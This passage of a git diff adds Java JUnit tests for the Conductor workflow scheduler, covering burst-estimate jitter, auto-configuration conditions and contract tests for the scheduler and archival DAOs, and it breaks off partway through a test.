schedulerDAO.getNextRunTimeInEpoch(queueMsgId); + assertTrue( + storedAfterFire > fireTime, + "After the multi-cron message fires, the per-cron next-run-time must be updated " + + "to the next cron occurrence (a future epoch > fireTime=" + + fireTime + + "). Got: " + + storedAfterFire + + ". If this is -1 the DAO is silently dropping writes and multi-cron " + + "schedules will fire on every poll cycle (the bug)."); + + // The second handler call must NOT fire the workflow again — the schedule is not due yet. + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + verify(workflowService, times(1)).startWorkflow(any()); // still exactly 1 invocation + } + + // ------------------------------------------------------------------------- + // Dynamic jitter / burst estimate tests + // ------------------------------------------------------------------------- + + @Test + @DisplayName("burstEstimate increases on non-empty polls and decays on empty polls (AIMD)") + void burstEstimateAIMD() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + service.start(); + + // Create several schedules that will fire, so polls return non-empty batches + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + for (int i = 0; i < 10; i++) { + WorkflowSchedule s = new WorkflowSchedule(); + s.setName("burst_schedule_" + i); + s.setCronExpression("*/5 * * ? * *"); + s.setStartWorkflowRequest(new StartWorkflowRequest()); + s.getStartWorkflowRequest().setName("wf"); + service.createOrUpdateWorkflowSchedule(s); + } + + assertEquals(0, service.burstEstimate.get(), "Burst should start at 0"); + + // Advance time so all schedules are due, then poll multiple times + Mockito.reset(mockTimeProvider); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000004500L)); + + // Each poll processes up to pollBatchSize (1 in test config) messages + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + int afterFirstPoll = service.burstEstimate.get(); + assertTrue( + afterFirstPoll > 0, + "Burst should increase after processing a non-empty batch, got " + afterFirstPoll); + + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + int afterSecondPoll = service.burstEstimate.get(); + assertTrue( + afterSecondPoll >= afterFirstPoll, + "Burst should keep increasing during sustained load"); + + // Drain the queue manually so polls return empty + queueDAO.clearData(); + int beforeDecay = service.burstEstimate.get(); + + // Empty polls should decay the burst + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + int afterOneDecay = service.burstEstimate.get(); + assertEquals( + beforeDecay / 2, afterOneDecay, "One empty poll should halve the burst estimate"); + + // A few more empty polls should continue decaying toward 0 + for (int i = 0; i < 10; i++) { + executor.getExecutorServiceMainQueuePoll(1).getCommand().run(); + } + assertTrue( + service.burstEstimate.get() <= 1, + "Burst should decay to near 0 after multiple empty polls"); + } + + @Test + @DisplayName("jitter is zero at low burst and meaningful at high burst") + void dynamicJitterScalesWithBurst() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + + // At burst=0, jitter ceiling is 0 — offsets should be whole seconds (no ms jitter) + service.burstEstimate.set(0); + + WorkflowSchedule lowLoad = new WorkflowSchedule(); + lowLoad.setName("low_load_schedule"); + lowLoad.setCronExpression("@daily"); + lowLoad.setStartWorkflowRequest(new StartWorkflowRequest()); + lowLoad.getStartWorkflowRequest().setName("wf"); + service.createOrUpdateWorkflowSchedule(lowLoad); + + Map msgData = + (Map) + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME) + .get("low_load_schedule"); + assertNotNull(msgData); + long lowBurstMs = (Long) msgData.get("offsetTimeInMs"); + long lowBurstSec = (Long) msgData.get("offsetTimeInSecond"); + // At burst=0, ms offset should equal seconds*1000 exactly (no jitter added) + assertEquals( + lowBurstSec * 1000, + lowBurstMs, + "At burst=0, offset millis should be exact seconds with no jitter"); + + // Now simulate high burst — set burst to 1000 + // Jitter ceiling = 1000 * 3 / 10 = 300ms + service.burstEstimate.set(1000); + queueDAO.clearData(); + schedulerDAO.clear(); + + List msOffsets = new ArrayList<>(); + for (int i = 0; i < 50; i++) { + WorkflowSchedule s = new WorkflowSchedule(); + s.setName("high_burst_" + i); + s.setCronExpression("@daily"); + s.setStartWorkflowRequest(new StartWorkflowRequest()); + s.getStartWorkflowRequest().setName("wf"); + service.createOrUpdateWorkflowSchedule(s); + + Map data = + (Map) + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME) + .get("high_burst_" + i); + assertNotNull(data, "Schedule high_burst_" + i + " should be in queue"); + msOffsets.add((Long) data.get("offsetTimeInMs")); + } + + // With burst=1000, jitter range is 0-300ms. Over 50 samples, not all should be identical. + long distinctCount = msOffsets.stream().distinct().count(); + assertTrue( + distinctCount > 1, + "With burst=1000, 50 schedules should have varied offsets due to jitter, but all were identical: " + + msOffsets.get(0)); + + // All ms offsets should be >= the base seconds offset (jitter only adds, never subtracts) + long baseSec = + (Long) + queueDAO.dummyQueues + .get(CONDUCTOR_SYSTEM_SCHEDULER_QUEUE_NAME) + .values() + .iterator() + .next() + .get("offsetTimeInSecond"); + msOffsets.forEach( + ms -> + assertTrue( + ms >= baseSec * 1000, + "Jittered ms offset " + + ms + + " should be >= base seconds " + + baseSec * 1000)); + } + + @Test + @DisplayName("burstEstimate is capped and does not overflow") + void burstEstimateIsCapped() { + SchedulerTimeProvider mockTimeProvider = Mockito.mock(SchedulerTimeProvider.class); + SchedulerService service = createServiceWithRedisHealthy(mockTimeProvider); + + int maxJitter = properties.getMaxScheduleJitterMs(); // 1000 + int expectedCap = maxJitter * 10 / 3 + 1; // ~3334 + + // Simulate extreme load — set burst very high + service.burstEstimate.set(expectedCap - 5); + + // One more batch should cap at expectedCap, not grow beyond + when(mockTimeProvider.getUtcTime(any())).thenReturn(utcTime(1630000000000L)); + WorkflowSchedule s = new WorkflowSchedule(); + s.setName("cap_test"); + s.setCronExpression("@daily"); + s.setStartWorkflowRequest(new StartWorkflowRequest()); + s.getStartWorkflowRequest().setName("wf"); + service.createOrUpdateWorkflowSchedule(s); + + // Manually simulate what runSchedulerMain does on a non-empty poll + int maxBurst = maxJitter * 10 / 3 + 1; + service.burstEstimate.updateAndGet(v -> Math.min(v + 100, maxBurst)); + + assertTrue( + service.burstEstimate.get() <= expectedCap, + "Burst should be capped at " + + expectedCap + + " but was " + + service.burstEstimate.get()); + } +} diff --git a/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/config/AbstractSchedulerAutoConfigurationSmokeTest.java b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/config/AbstractSchedulerAutoConfigurationSmokeTest.java new file mode 100644 index 0000000..ee21e6d --- /dev/null +++ b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/config/AbstractSchedulerAutoConfigurationSmokeTest.java @@ -0,0 +1,119 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.config; + +import org.junit.Test; +import org.springframework.boot.autoconfigure.AutoConfigurations; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.boot.test.context.runner.ApplicationContextRunner; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Auto-configuration smoke tests for the scheduler persistence modules. + * + *

    Uses {@link ApplicationContextRunner} to verify that the {@code @ConditionalOnExpression} + * guards on each persistence module's configuration class work correctly. + */ +public abstract class AbstractSchedulerAutoConfigurationSmokeTest { + + protected abstract String dbTypeValue(); + + protected abstract String datasourceUrl(); + + protected abstract String driverClassName(); + + protected abstract Class persistenceAutoConfigClass(); + + protected abstract Class expectedDaoClass(); + + @Configuration + static class SharedTestBeans { + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } + + @Bean + public RetryTemplate postgresRetryTemplate() { + return new RetryTemplate(); + } + } + + private ApplicationContextRunner baseRunner() { + return new ApplicationContextRunner() + .withConfiguration( + AutoConfigurations.of( + DataSourceAutoConfiguration.class, persistenceAutoConfigClass())) + .withUserConfiguration(SharedTestBeans.class) + .withPropertyValues( + "spring.datasource.url=" + datasourceUrl(), + "spring.datasource.driver-class-name=" + driverClassName(), + "spring.flyway.enabled=false"); + } + + @Test + public void testSchedulerDAO_registeredWhenBothPropertiesSet() { + baseRunner() + .withPropertyValues( + "conductor.db.type=" + dbTypeValue(), "conductor.scheduler.enabled=true") + .run( + ctx -> { + assertThat(ctx).hasSingleBean(SchedulerDAO.class); + assertThat(ctx.getBean(SchedulerDAO.class)) + .isInstanceOf(expectedDaoClass()); + }); + } + + @Test + public void testNoBeansRegistered_whenSchedulerEnabledAbsent() { + baseRunner() + .withPropertyValues("conductor.db.type=" + dbTypeValue()) + .run(ctx -> assertThat(ctx).doesNotHaveBean(SchedulerDAO.class)); + } + + @Test + public void testNoBeansRegistered_whenSchedulerEnabledFalse() { + baseRunner() + .withPropertyValues( + "conductor.db.type=" + dbTypeValue(), "conductor.scheduler.enabled=false") + .run(ctx -> assertThat(ctx).doesNotHaveBean(SchedulerDAO.class)); + } + + @Test + public void testNoSchedulerDAO_whenDbTypeAbsent() { + baseRunner() + .withPropertyValues("conductor.scheduler.enabled=true") + .run(ctx -> assertThat(ctx).doesNotHaveBean(SchedulerDAO.class)); + } + + @Test + public void testNoSchedulerDAO_whenDbTypeIsWrongBackend() { + String wrongType = + dbTypeValue().equals("postgres") + ? "mysql" + : dbTypeValue().equals("mysql") ? "sqlite" : "postgres"; + baseRunner() + .withPropertyValues( + "conductor.db.type=" + wrongType, "conductor.scheduler.enabled=true") + .run(ctx -> assertThat(ctx).doesNotHaveBean(SchedulerDAO.class)); + } +} diff --git a/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/dao/AbstractSchedulerArchivalDAOTest.java b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/dao/AbstractSchedulerArchivalDAOTest.java new file mode 100644 index 0000000..61cd867 --- /dev/null +++ b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/dao/AbstractSchedulerArchivalDAOTest.java @@ -0,0 +1,449 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.dao; + +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.UUID; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; + +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; + +import static org.junit.Assert.*; + +/** + * Shared contract test suite for all {@link SchedulerArchivalDAO} implementations. + * + *

    Every persistence module subclasses this and provides the wired DAO via {@link + * #archivalDao()}. Subclasses are responsible for clearing state between tests (typically in a + * {@code @Before} method). + * + *

    Test categories: + * + *

      + *
    1. Save and retrieve — single and batch lookups + *
    2. Round-trip fidelity — all model fields survive serialization + *
    3. Search — by schedule name, free text, wildcard, pagination + *
    4. Cleanup — threshold-based record pruning + *
    5. Edge cases — empty/null inputs + *
    + */ +public abstract class AbstractSchedulerArchivalDAOTest { + + /** Returns the archival DAO under test. */ + protected abstract SchedulerArchivalDAO archivalDao(); + + // ========================================================================= + // 1. Save and retrieve + // ========================================================================= + + @Test + public void testSaveAndGetById() { + WorkflowScheduleExecutionModel model = buildExecution("sched-1", "exec-1"); + archivalDao().saveExecutionRecord(model); + + WorkflowScheduleExecutionModel found = archivalDao().getExecutionById("exec-1"); + assertNotNull(found); + assertEquals("exec-1", found.getExecutionId()); + assertEquals("sched-1", found.getScheduleName()); + assertEquals("test-wf", found.getWorkflowName()); + assertEquals(WorkflowScheduleExecutionModel.State.EXECUTED, found.getState()); + } + + @Test + public void testGetById_notFound_returnsNull() { + assertNull(archivalDao().getExecutionById("no-such-id")); + } + + @Test + public void testSaveAndGetByIds() { + archivalDao().saveExecutionRecord(buildExecution("sched-1", "exec-a")); + archivalDao().saveExecutionRecord(buildExecution("sched-1", "exec-b")); + archivalDao().saveExecutionRecord(buildExecution("sched-2", "exec-c")); + + Map result = + archivalDao().getExecutionsByIds(Set.of("exec-a", "exec-c", "no-such")); + assertEquals(2, result.size()); + assertTrue(result.containsKey("exec-a")); + assertTrue(result.containsKey("exec-c")); + } + + @Test + public void testGetByIds_emptySet_returnsEmpty() { + assertTrue(archivalDao().getExecutionsByIds(Set.of()).isEmpty()); + } + + @Test + public void testGetByIds_nullSet_returnsEmpty() { + assertTrue(archivalDao().getExecutionsByIds(null).isEmpty()); + } + + @Test + public void testSaveExecutionRecord_upsert() { + WorkflowScheduleExecutionModel model = buildExecution("upsert-sched", "upsert-exec"); + archivalDao().saveExecutionRecord(model); + + model.setReason("updated reason"); + model.setState(WorkflowScheduleExecutionModel.State.FAILED); + archivalDao().saveExecutionRecord(model); + + WorkflowScheduleExecutionModel found = archivalDao().getExecutionById("upsert-exec"); + assertNotNull(found); + assertEquals("updated reason", found.getReason()); + assertEquals(WorkflowScheduleExecutionModel.State.FAILED, found.getState()); + } + + // ========================================================================= + // 2. Round-trip fidelity + // ========================================================================= + + @Test + public void testRoundTrip_allFields() { + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName("my-wf"); + req.setVersion(3); + + WorkflowScheduleExecutionModel model = new WorkflowScheduleExecutionModel(); + model.setExecutionId("rt-exec"); + model.setScheduleName("rt-sched"); + model.setWorkflowName("my-wf"); + model.setWorkflowId("wf-instance-789"); + model.setReason("Timeout exceeded"); + model.setStackTrace("java.lang.RuntimeException: Timeout\n\tat Foo.bar(Foo.java:42)"); + model.setState(WorkflowScheduleExecutionModel.State.FAILED); + model.setScheduledTime(1000000L); + model.setExecutionTime(1000500L); + model.setStartWorkflowRequest(req); + + archivalDao().saveExecutionRecord(model); + + WorkflowScheduleExecutionModel found = archivalDao().getExecutionById("rt-exec"); + assertNotNull(found); + assertEquals("rt-sched", found.getScheduleName()); + assertEquals("my-wf", found.getWorkflowName()); + assertEquals("wf-instance-789", found.getWorkflowId()); + assertEquals("Timeout exceeded", found.getReason()); + assertTrue(found.getStackTrace().contains("RuntimeException")); + assertEquals(WorkflowScheduleExecutionModel.State.FAILED, found.getState()); + assertEquals(Long.valueOf(1000000L), found.getScheduledTime()); + assertEquals(Long.valueOf(1000500L), found.getExecutionTime()); + assertNotNull(found.getStartWorkflowRequest()); + assertEquals("my-wf", found.getStartWorkflowRequest().getName()); + assertEquals(Integer.valueOf(3), found.getStartWorkflowRequest().getVersion()); + } + + // ========================================================================= + // 3. Search + // ========================================================================= + + @Test + public void testSearch_byScheduleName() { + archivalDao().saveExecutionRecord(buildExecution("sched-a", "e1")); + archivalDao().saveExecutionRecord(buildExecution("sched-a", "e2")); + archivalDao().saveExecutionRecord(buildExecution("sched-b", "e3")); + + SearchResult result = + archivalDao().searchScheduledExecutions("sched-a", null, 0, 10, null); + assertEquals(2, result.getTotalHits()); + assertTrue(result.getResults().contains("e1")); + assertTrue(result.getResults().contains("e2")); + } + + @Test + public void testSearch_byWorkflowName() { + WorkflowScheduleExecutionModel e1 = buildExecution("wn-sched", "e-wn1"); + e1.setWorkflowName("payment-processor"); + archivalDao().saveExecutionRecord(e1); + + WorkflowScheduleExecutionModel e2 = buildExecution("wn-sched", "e-wn2"); + e2.setWorkflowName("order-fulfillment"); + archivalDao().saveExecutionRecord(e2); + + // Substring match on workflow name + SearchResult result = + archivalDao().searchScheduledExecutions("workflowName=payment", null, 0, 10, null); + assertEquals(1, result.getTotalHits()); + assertEquals("e-wn1", result.getResults().get(0)); + } + + @Test + public void testSearch_byExecutionId() { + archivalDao().saveExecutionRecord(buildExecution("eid-sched", "exact-id-123")); + archivalDao().saveExecutionRecord(buildExecution("eid-sched", "exact-id-456")); + + SearchResult result = + archivalDao() + .searchScheduledExecutions("executionId=exact-id-123", null, 0, 10, null); + assertEquals(1, result.getTotalHits()); + assertEquals("exact-id-123", result.getResults().get(0)); + } + + @Test + public void testSearch_wildcard_returnsAll() { + archivalDao().saveExecutionRecord(buildExecution("sched-1", "e1")); + archivalDao().saveExecutionRecord(buildExecution("sched-2", "e2")); + + SearchResult result = + archivalDao().searchScheduledExecutions(null, "*", 0, 10, null); + assertEquals(2, result.getTotalHits()); + } + + @Test + public void testSearch_pagination() { + for (int i = 0; i < 5; i++) { + WorkflowScheduleExecutionModel exec = + buildExecution("page-sched", "page-" + UUID.randomUUID()); + exec.setScheduledTime(System.currentTimeMillis() + i * 1000L); + archivalDao().saveExecutionRecord(exec); + } + + SearchResult page1 = + archivalDao().searchScheduledExecutions("page-sched", null, 0, 2, null); + assertEquals(5, page1.getTotalHits()); + assertEquals(2, page1.getResults().size()); + + SearchResult page2 = + archivalDao().searchScheduledExecutions("page-sched", null, 2, 2, null); + assertEquals(5, page2.getTotalHits()); + assertEquals(2, page2.getResults().size()); + } + + @Test + public void testSearch_noResults_returnsEmpty() { + SearchResult result = + archivalDao().searchScheduledExecutions("nonexistent", null, 0, 10, null); + assertEquals(0, result.getTotalHits()); + assertTrue(result.getResults().isEmpty()); + } + + // ------------------------------------------------------------------------- + // 3b. Search — UI query syntax (SchedulerSearchQuery.parse) + // ------------------------------------------------------------------------- + + @Test + public void testSearch_scheduleNameInSyntax() { + archivalDao().saveExecutionRecord(buildExecution("sched-x", "e1")); + archivalDao().saveExecutionRecord(buildExecution("sched-y", "e2")); + archivalDao().saveExecutionRecord(buildExecution("sched-z", "e3")); + + SearchResult result = + archivalDao() + .searchScheduledExecutions( + "scheduleName IN (sched-x,sched-y)", null, 0, 10, null); + assertEquals(2, result.getTotalHits()); + assertTrue(result.getResults().contains("e1")); + assertTrue(result.getResults().contains("e2")); + assertFalse(result.getResults().contains("e3")); + } + + @Test + public void testSearch_stateInSyntax() { + WorkflowScheduleExecutionModel executed = buildExecution("state-sched", "e-exec"); + executed.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + archivalDao().saveExecutionRecord(executed); + + WorkflowScheduleExecutionModel polled = buildExecution("state-sched", "e-poll"); + polled.setState(WorkflowScheduleExecutionModel.State.POLLED); + archivalDao().saveExecutionRecord(polled); + + WorkflowScheduleExecutionModel failed = buildExecution("state-sched", "e-fail"); + failed.setState(WorkflowScheduleExecutionModel.State.FAILED); + archivalDao().saveExecutionRecord(failed); + + SearchResult result = + archivalDao() + .searchScheduledExecutions("state IN (POLLED,FAILED)", null, 0, 10, null); + assertEquals(2, result.getTotalHits()); + assertTrue(result.getResults().contains("e-poll")); + assertTrue(result.getResults().contains("e-fail")); + assertFalse(result.getResults().contains("e-exec")); + } + + @Test + public void testSearch_scheduledTimeRange() { + WorkflowScheduleExecutionModel early = buildExecution("time-sched", "e-early"); + early.setScheduledTime(1000L); + archivalDao().saveExecutionRecord(early); + + WorkflowScheduleExecutionModel mid = buildExecution("time-sched", "e-mid"); + mid.setScheduledTime(5000L); + archivalDao().saveExecutionRecord(mid); + + WorkflowScheduleExecutionModel late = buildExecution("time-sched", "e-late"); + late.setScheduledTime(9000L); + archivalDao().saveExecutionRecord(late); + + // scheduledTime>2000 AND scheduledTime<8000 => only "mid" + SearchResult result = + archivalDao() + .searchScheduledExecutions( + "scheduledTime>2000 AND scheduledTime<8000", null, 0, 10, null); + assertEquals(1, result.getTotalHits()); + assertEquals("e-mid", result.getResults().get(0)); + } + + @Test + public void testSearch_combinedFilters() { + WorkflowScheduleExecutionModel e1 = buildExecution("combo-a", "c1"); + e1.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + e1.setScheduledTime(5000L); + archivalDao().saveExecutionRecord(e1); + + WorkflowScheduleExecutionModel e2 = buildExecution("combo-a", "c2"); + e2.setState(WorkflowScheduleExecutionModel.State.FAILED); + e2.setScheduledTime(5000L); + archivalDao().saveExecutionRecord(e2); + + WorkflowScheduleExecutionModel e3 = buildExecution("combo-b", "c3"); + e3.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + e3.setScheduledTime(5000L); + archivalDao().saveExecutionRecord(e3); + + WorkflowScheduleExecutionModel e4 = buildExecution("combo-a", "c4"); + e4.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + e4.setScheduledTime(1000L); + archivalDao().saveExecutionRecord(e4); + + // schedule=combo-a AND state=EXECUTED AND scheduledTime>2000 + String query = "scheduleName IN (combo-a) AND state IN (EXECUTED) AND scheduledTime>2000"; + SearchResult result = + archivalDao().searchScheduledExecutions(query, null, 0, 10, null); + assertEquals(1, result.getTotalHits()); + assertEquals("c1", result.getResults().get(0)); + } + + @Test + public void testSearch_withSort() { + WorkflowScheduleExecutionModel older = buildExecution("sort-sched", "s-old"); + older.setScheduledTime(1000L); + archivalDao().saveExecutionRecord(older); + + WorkflowScheduleExecutionModel newer = buildExecution("sort-sched", "s-new"); + newer.setScheduledTime(9000L); + archivalDao().saveExecutionRecord(newer); + + // Default sort: scheduledTime DESC => newer first + SearchResult descResult = + archivalDao().searchScheduledExecutions("sort-sched", null, 0, 10, null); + assertEquals("s-new", descResult.getResults().get(0)); + + // Explicit ASC sort + SearchResult ascResult = + archivalDao() + .searchScheduledExecutions( + "sort-sched", null, 0, 10, List.of("scheduledTime:ASC")); + assertEquals("s-old", ascResult.getResults().get(0)); + } + + @Test + public void testSearch_emptyQuery_returnsAll() { + archivalDao().saveExecutionRecord(buildExecution("all-a", "a1")); + archivalDao().saveExecutionRecord(buildExecution("all-b", "a2")); + + // Empty query string => no filters, returns everything + SearchResult result = archivalDao().searchScheduledExecutions("", "*", 0, 10, null); + assertEquals(2, result.getTotalHits()); + } + + @Test + public void testSearch_nullQuery_returnsAll() { + archivalDao().saveExecutionRecord(buildExecution("null-a", "n1")); + archivalDao().saveExecutionRecord(buildExecution("null-b", "n2")); + + SearchResult result = + archivalDao().searchScheduledExecutions(null, "*", 0, 10, null); + assertEquals(2, result.getTotalHits()); + } + + // ========================================================================= + // 4. Cleanup + // ========================================================================= + + @Test + public void testCleanupOldRecords() { + for (int i = 0; i < 10; i++) { + WorkflowScheduleExecutionModel exec = buildExecution("cleanup-sched", "cleanup-" + i); + exec.setScheduledTime(1000000L + i * 1000L); + archivalDao().saveExecutionRecord(exec); + } + + // Keep only 3 records, threshold at 5 (count=10 > threshold=5, so cleanup triggers) + archivalDao().cleanupOldRecords(3, 5); + + SearchResult result = + archivalDao().searchScheduledExecutions("cleanup-sched", null, 0, 20, null); + assertEquals(3, result.getTotalHits()); + } + + @Test + public void testCleanupOldRecords_belowThreshold_noOp() { + for (int i = 0; i < 3; i++) { + WorkflowScheduleExecutionModel exec = buildExecution("noclean-sched", "noclean-" + i); + exec.setScheduledTime(1000000L + i * 1000L); + archivalDao().saveExecutionRecord(exec); + } + + // Threshold is 5, count is 3 — should not clean up + archivalDao().cleanupOldRecords(2, 5); + + SearchResult result = + archivalDao().searchScheduledExecutions("noclean-sched", null, 0, 20, null); + assertEquals(3, result.getTotalHits()); + } + + // ========================================================================= + // 5. Volume + // ========================================================================= + + @Test + public void testVolume_manyRecordsSameSchedule() { + int count = 50; + for (int i = 0; i < count; i++) { + WorkflowScheduleExecutionModel exec = buildExecution("volume-sched", "vol-" + i); + exec.setScheduledTime(1000000L + i * 1000L); + archivalDao().saveExecutionRecord(exec); + } + + SearchResult result = + archivalDao().searchScheduledExecutions("volume-sched", null, 0, 100, null); + assertEquals(count, result.getTotalHits()); + } + + // ========================================================================= + // Helpers + // ========================================================================= + + protected WorkflowScheduleExecutionModel buildExecution( + String scheduleName, String executionId) { + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName("test-wf"); + req.setVersion(1); + + WorkflowScheduleExecutionModel model = new WorkflowScheduleExecutionModel(); + model.setExecutionId(executionId); + model.setScheduleName(scheduleName); + model.setWorkflowName("test-wf"); + model.setWorkflowId("wf-" + executionId); + model.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + model.setScheduledTime(System.currentTimeMillis()); + model.setExecutionTime(System.currentTimeMillis()); + model.setStartWorkflowRequest(req); + return model; + } +} diff --git a/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/dao/AbstractSchedulerDAOTest.java b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/dao/AbstractSchedulerDAOTest.java new file mode 100644 index 0000000..d7ee612 --- /dev/null +++ b/scheduler/core/src/testFixtures/java/io/orkes/conductor/scheduler/dao/AbstractSchedulerDAOTest.java @@ -0,0 +1,598 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.scheduler.dao; + +import java.sql.Connection; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.UUID; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; + +import javax.sql.DataSource; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; + +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +import static org.junit.Assert.*; + +/** + * Shared contract test suite for all {@link SchedulerDAO} implementations. + * + *

    Every persistence module (Postgres, MySQL, SQLite) subclasses this and provides only the + * Spring wiring ({@link #dao()} and {@link #dataSource()}). Adding a test here automatically covers + * all backends. + * + *

    Test categories: + * + *

      + *
    1. Schedule CRUD — create/read/update/delete and bulk-lookup + *
    2. JSON round-trip fidelity — all model fields survive the blob serialization/deserialization + *
    3. Execution tracking — POLLED->EXECUTED/FAILED lifecycle, pending-ID filter + *
    4. Next-run time management — get/set semantics and interaction with {@code updateSchedule} + *
    5. Volume — 100-schedule bulk insert/retrieve + *
    6. Concurrency — 10 threads doing simultaneous upserts on the same schedule name + *
    + */ +public abstract class AbstractSchedulerDAOTest { + + /** Returns the DAO under test. Subclasses provide this via {@code @Autowired}. */ + protected abstract SchedulerDAO dao(); + + /** + * Returns the datasource wired into the Spring test context. Used to truncate tables between + * tests. + */ + protected abstract DataSource dataSource(); + + // ------------------------------------------------------------------------- + // Lifecycle + // ------------------------------------------------------------------------- + + @Before + public final void setUp() throws Exception { + try (Connection conn = dataSource().getConnection()) { + conn.prepareStatement("DELETE FROM scheduler_execution").executeUpdate(); + conn.prepareStatement("DELETE FROM scheduler").executeUpdate(); + conn.prepareStatement("DELETE FROM workflow_scheduled_executions").executeUpdate(); + } + } + + // ========================================================================= + // 1. Schedule CRUD + // ========================================================================= + + @Test + public void testSaveAndFindSchedule() { + WorkflowScheduleModel schedule = buildSchedule("test-schedule", "my-workflow"); + dao().updateSchedule(schedule); + + WorkflowScheduleModel found = dao().findScheduleByName("test-schedule"); + + assertNotNull(found); + assertEquals("test-schedule", found.getName()); + assertEquals("my-workflow", found.getStartWorkflowRequest().getName()); + assertEquals("0 0 9 * * MON-FRI", found.getCronExpression()); + assertEquals("UTC", found.getZoneId()); + } + + @Test + public void testFindScheduleByName_notFound_returnsNull() { + assertNull(dao().findScheduleByName("no-such-schedule")); + } + + @Test + public void testUpdateSchedule_upserts() { + WorkflowScheduleModel schedule = buildSchedule("upsert-schedule", "workflow-v1"); + dao().updateSchedule(schedule); + + schedule.setCronExpression("0 0 10 * * *"); + dao().updateSchedule(schedule); + + WorkflowScheduleModel found = dao().findScheduleByName("upsert-schedule"); + assertEquals("0 0 10 * * *", found.getCronExpression()); + } + + @Test + public void testGetAllSchedules() { + dao().updateSchedule(buildSchedule("sched-a", "wf-a")); + dao().updateSchedule(buildSchedule("sched-b", "wf-b")); + dao().updateSchedule(buildSchedule("sched-c", "wf-c")); + + assertEquals(3, dao().getAllSchedules().size()); + } + + @Test + public void testFindAllSchedulesByWorkflow() { + dao().updateSchedule(buildSchedule("s1", "target-wf")); + dao().updateSchedule(buildSchedule("s2", "target-wf")); + dao().updateSchedule(buildSchedule("s3", "other-wf")); + + List results = dao().findAllSchedules("target-wf"); + assertEquals(2, results.size()); + assertTrue( + results.stream() + .allMatch(s -> "target-wf".equals(s.getStartWorkflowRequest().getName()))); + } + + @Test + public void testFindAllByNames() { + dao().updateSchedule(buildSchedule("find-a", "wf-a")); + dao().updateSchedule(buildSchedule("find-b", "wf-b")); + dao().updateSchedule(buildSchedule("find-c", "wf-c")); + + Map result = + dao().findAllByNames(Set.of("find-a", "find-c", "no-such-schedule")); + assertEquals(2, result.size()); + 